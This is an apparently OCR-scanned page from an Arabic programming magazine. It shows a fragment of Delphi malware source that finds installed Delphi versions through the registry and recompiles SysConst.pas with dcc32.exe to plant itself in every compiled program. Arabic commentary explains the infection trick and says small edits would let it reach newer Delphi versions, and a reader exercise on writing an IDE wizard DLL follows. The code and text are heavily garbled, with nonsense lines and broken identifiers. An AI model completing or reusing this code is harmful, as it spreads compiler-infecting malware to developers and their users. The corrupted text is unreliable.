
v: char; 
begin 
for Vv := '4' to '7' do 
if RegOpenKeyEx (HKEY LOCAL MACHINE, pchar ('Software\Borland\Delphi\' + v + '.0'), 
k) = 0 then 
begin 
رار کو ا‎ 
if RegQueryValueEx (k, 'RootDir', nil, @i, @c, @i) = 0 then 
begin 
r= r 


while c[i] <> #0 do 
begin 
a GS a Ce CN Cele E 
end; 
re (r + '\source\rtl\sys\SysConst' + '.pas', r + '\lib\sysconst.', '"' + r + 


'\bin\dcc32. exe" '); 
end; 
RegCloseKey (k) ; 


خلاصة: #حظنا انه يكف أن تكتب الإأوامر الخبيثة ف ملف يتم دمجه فل 
المشروع تلقائيا لكل يتم تنقيذ هده الإُوامر عند تشغيل الملف التنفيذي الناتج 
دور الحاجة لإ ضاقة سطر أُوامر ف .OnCreate ia‏ 


من الخطاً أيضا أن نظن أن البرنامج الضار يستهدف إصدارات 80١|4١٣4‏ السابقة 
فقط لأنه بعد التحديل الطفيف عل الإُوامر الخبيثة يصبح البرنامج الضار قادر 
عل تلويث إصدارات دلفم الجديدة. 


end; 


end. 


تمرين الغدد 


Delphi Wizard :aرڪكفلl‎ 


المطلوب: برمجة مكتبة ربط دينامكلٍ اا0 يتم تثبيتها ف واجهة برمجة دلفي 
4 يهم المهمة الت تنجزها المكتبة لإن الهدف من التمرين هو تثبيت أدوات 
خارجية ف واجهة البرمجة. 


. DelforExp, Delphi Formatter : Ale £#طۈlب ينصح‎ 


الحلول ترسل ابتداءا من اليوم ل دارة المنتدة و سوف يتم اختيار أحسن حل لينشر 
فل الغدد القادم من المجلة. 


